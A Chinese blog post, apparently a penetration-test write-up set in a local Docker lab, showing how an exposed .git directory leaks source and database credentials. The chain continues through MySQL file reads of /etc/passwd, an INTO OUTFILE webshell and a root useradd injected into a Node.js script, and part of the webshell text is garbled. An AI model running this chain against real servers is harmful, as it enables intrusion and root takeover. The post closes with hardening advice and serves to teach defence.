网站Git仓库暴露及不安全文件权限配置可能引发的的安全问题

网友投稿 274 2022-10-05


网站Git仓库暴露及不安全文件权限配置可能引发的的安全问题

本文源于对真实网站的测试整理而来。介绍通过从git仓库的暴露导致网站源码泄露以及不安全的文件权限配置可能会带来的安全问题。文中的运行环境及代码为该网站的简单模拟。

测试环境

测试环境为经典的LNMP,即Linux、Nginx、MySQL、PHP架构的网站。Nginx运行了多个虚拟主机,其中PHP网站是一个图片浏览网站,提供简单的上传和浏览图片接口。网站使用git来管理代码版本且git目录可以通过git clone https://github.com/raojinlin/lnmp-container.git

构建镜像 $ cd lnmp-container $ git submodule update # 更新子模块 $ docker build -t lnmp . # 构建镜像

3. 运行镜像

$ docker run -p 8002:8002 -p 3306:3306 lnmp

接下来就可以访问网站了,http://127.0.0.1:8002/。 * 图片上传接口:```http://127.0.0.1:8002/``` ![image](https://s4./images/blog/202110/16205741_616acc459080660300.png?x-oss-process=image/watermark,size_14,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_30,g_se,x_10,y_10,shadow_20,type_ZmFuZ3poZW5naGVpdGk=) * 图片浏览接口:```http://127.0.0.1:8002/list.php``` Git仓库 -- Git仓库有下面两种类型: * 工作树中的.git目录 * 本地的git仓库,工作树的修改,提交都会保存到此目录。 * 裸(bare)仓库,通常作为远程仓库,用于与其他人交换数据,它没有自己的工作树,也就是说不在这个目录里修改、提交。 * 通过push和fetch Git仓库目录包含以下文件: * branches * config * description * HEAD * hooks * info * objects * refs 关于各个文件详细介绍请查看:[https://git-scm.com/docs/gitrepository-layout](https://git-scm.com/docs/gitrepository-layout)。这里只对```HEAD```、```objects```、```refs```做下简单的介绍。 * HEAD * 当前所在的分支或者一个特定的提交, ```ref: refs/heads/master``` * refs/,引用存储在此目录的子目录中 * refs/heads/```name``` * 记录分支名称的树尖提交对象 * refs/tags/```name``` * 记录任何对象名称(不一定是提交对象或指向提交对象的标记对象)。 * refs/remotes/```name``` * 记录从远程存储库复制的分支的树尖提交对象。 * objects/,与此仓库关联的对象存储。 * objects/[0-9a-f][0-9a-f],对象存储的子目录,目录名称为对象sha1值的前两位,最多有256(2^16)个。 Git对象文件 --- Git是一个内容可寻址的文件系统。Git的核心是一个简单的键值数据存储。我们可以在git插入任何类型的数据,然后git会返回一个可以在任意时间检索数据的key。```git hash-object```命令可以对数据计算出一个哈希值,这个值就是这个数据在git中的索引。```git cat-file```命令可以查看对象的内容,即通过对象的sha1检索。 对象的类型: * Blob对象(Blob Objects) * Blob对象只存储了文件的内容,没有存储文件名。 * 树对象(Tree Objects) * 树对象存储了文件名,并且允许将一组文件存储到一起。Git存储内容与Unix文件系统类型,但是更简单。所有的内容都存储为ree和blob对象,tree对应到Unix的目录,blob对应于inode或者文件内容。 * 树对象可以包含单个或者多个数对象,每个都包含一个执行blob或者子树的SHA-1指针及其关联的模式、类型和文件名。 * 提交对象(Commit Objects) * commit对象存储了快照保存者和保存时间以及保存原因的信息。 下面做一个实践,在git创建和查看对象。 首先,初始化一个Git仓库: ```bash ✔ /tmp/test_git_objects $ git init . # 初始化git Initialized empty Git repository in /private/tmp/test_git_objects/.git/

使用git hash-object命令从标准输入读取内容计算sha1值并将内容写入Git对象。

✔ /tmp/test_git_objects [master L|✔] $ echo xxxx | git hash-object -t blob -w --stdin 63fc8131d563e4c067404cb42d39eb293952bd51

然后我们就可以在.git/objects目录看到刚刚新增的对象。

✔ /tmp/test_git_objects [master L|✔] $ find .git/objects .git/objects .git/objects/pack .git/objects/info .git/objects/63 .git/objects/63/fc8131d563e4c067404cb42d39eb293952bd51 ✔ /tmp/test_git_objects [master L|✔] $ ✔ /tmp/test_git_objects [master L|✔] $ file .git/objects/63/fc8131d563e4c067404cb42d39eb293952bd51 .git/objects/63/fc8131d563e4c067404cb42d39eb293952bd51: zlib compressed data ✔ /tmp/test_git_objects [master L|✔] $

使用git cat-file命令查看对象内容。

✔ /tmp/test_git_objects [master L|✔] $ git cat-file -p 63fc8131d563e4c067404cb42d39eb293952bd51 xxxx ✔ /tmp/test_git_objects [master L|✔] $

关于Git对象的详细说明请前往查看:https://git-scm.com/book/en/v2/Git-Internals-Git-Objects

webshell注入

webshell的注入过程大概可以分为下面几个步骤:

尝试上传webshell 通过git查看服务端源码 通过mysql注入webshell load data infile outfile

首先我们知道了这个网站是提供了图片上传接口的,那么能不能通过这个接口上传一个PHP文件上去呢?让我们来试试。

上传失败了,应该是对文件名后缀做了检查。那给文件再加个后缀呢?

还是不行,估计对上传文件的媒体类型也做了检查。而且通过改文件名上传就算上传成功了也不一定能够被PHP解释器执行。一般来说nginx配置PHP-FPM反向代理都是匹配.php后缀的文件,也就是说后缀为.php的文件nginx才会交给PHP-FPM执行。

通过git查看服务端源码

首先,我们先看看git现在处于什么位置(当前分支)。

✔ /tmp/mytestgit [master L|…2] $ curl 127.0.0.1:8002/.git/HEAD ref: refs/heads/master ✔ /tmp/mytestgit [master L|…2] $ curl 127.0.0.1:8002/.git/refs/heads/master 3d72900a4e25eca964cb9d540c6461735be2a514

这里提供一个小脚本fetchobject.sh下载Git对象并保存到本地仓库。

#!/bin/bash prefix="${1:0:2}" object=${1:2} dir=".git/objects/${prefix}" if [ ! -d "$dir" ]; then mkdir $dir; fi object_path=".git/objects/$prefix/$object" curl 127.0.0.1:8002/$object_path -o $object_path file $object_path; if [ $? -eq 0 ]; then echo ""; echo "Object $object_path fetched"; fi

在本地初始化一个git项目

将最新的object下载下来,可以看到这是个commit对象。

把当前commit对象所属的树对象下载下来,这里我们可以看到网站的目录结构了。

有了目录结构,接下来就可以看到代码内容了。先看看config.php文件有什么。

这里我们看到config.php中包含了数据连接的配置和上传相关的配置,有地址、用户名、密码。试试能不能登录到数据库。

登录到数据库成功!再看看其他的代码,看看upfile.php是什么逻辑。

这段代码应该是处理图片上传的,而且它对上传的文件扩展名和媒体类型有做检查,接着往下看会发现有一段代码是判断保存上传文件的目录存不存在,如果不存在那么就创建一个目录而且它的文件权限是777。

目前掌握的情况是:

知道了数据的地址和用户名、密码并且可以登录到数据库。 上传的文件会存放到uploads/目录中,uploads目录的文件权限是777。

如果可以通过MySQL向uploads/目录中写入一个文件,就完成了webshell的注入。

通过mysql注入webshell

在MySQL中有两个语句可以对文件进行读写操作:LOAD DATA INFILE和SELECT ... INTO OUTFILE。

LOAD DATA INFILE LOAD DATA语句可以高速的将文件文件的行读取到表中。 可以从服务器读取也可以从客户端(LOAD DATA LOCAL INFILE)读取 SELECT ... INTO OUTFILE 允许将查询结果写入到文件。 为了安全考虑不会写入到已存在的文件。

有了这两个语句就可以对服务器执行读写操作了。

MySQL读取磁盘的文件

比如读取/etc/passswd文件。

首先先创建一个表来存放文件的内容。

create table t1 ( id int primary key auto_increment, content text );

执行语句,读取/etc/passwd文件到表t1,字段按换行符分隔,插入到content字段。

LOAD DATA INFILE '/etc/passwd' into table t1 FIELDS TERMINATED BY '\n' (content);

读取成功。

接下来要找到网站的document root在哪里,查看下nginx的配置文件/etc/nginx/nginx.conf。

/etc/nginx/nginx.conf没有发现PHP相关的配置,网站的nginx配置可能在/etc/nginx/sites-enabled目录下。

但是文件名是什么呢?先试试/etc/nginx/sites-enabled/php。

找到了,网站的路径在/var/'&1");' into outfile '/var/auxf命令可以看到服务器还运行了一个nodejs的脚本。如果可以在这个脚本里面一段代码那么就可以提权了,因为它是以root权限运行的。先看看/var/-M -N -G root user1

在nodejs中可以通过child_process模块执行命令:

try{ require('child_process').execSync('useradd -M -N -G root user1') } catch (e) {}

执行命令:

curl http://127.0.0.1:8002/uploads/img.php?command=echo%20%22try{%20require(%27child_process%27).execSync(%27useradd%20-M%20-N%20-G%20root%20user1%27)%20}%20catch%20(e)%20{}%22%20%3E%3E%20/var/www/nodejs/server.js

查看是否写入成功。

写入成功了,等脚本下次运行时就可以知道用户是否创建成功,创建成功的话就可以用该用户登录到服务器。

总结

本文记录了从网站的git暴露开始,通过mysql注入webshell等如何一步一步拿到服务器的权限的步骤。在管理网站时要注意git目录的访问控制以及mysql的FILE权限,不要给文件或者目录设置过高的权限。

下面是几点安全防范建议:

不要暴露.git仓库 不要给过高的权限 对于某些服务,不要以root用户运行进程 建立多个mysql用户,且按场景分配权限,比如网站的用户就一般用不到LOAD DATA这种语句,如果要用的话可以新建一个专门用来操作文件的用户。


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Web渗透测试常用工具,你知道几个?(常用的渗透测试工具及主要应用范围)
下一篇:Spring:如何使用枚举参数
相关文章

 发表评论

暂时没有评论,来抢沙发吧~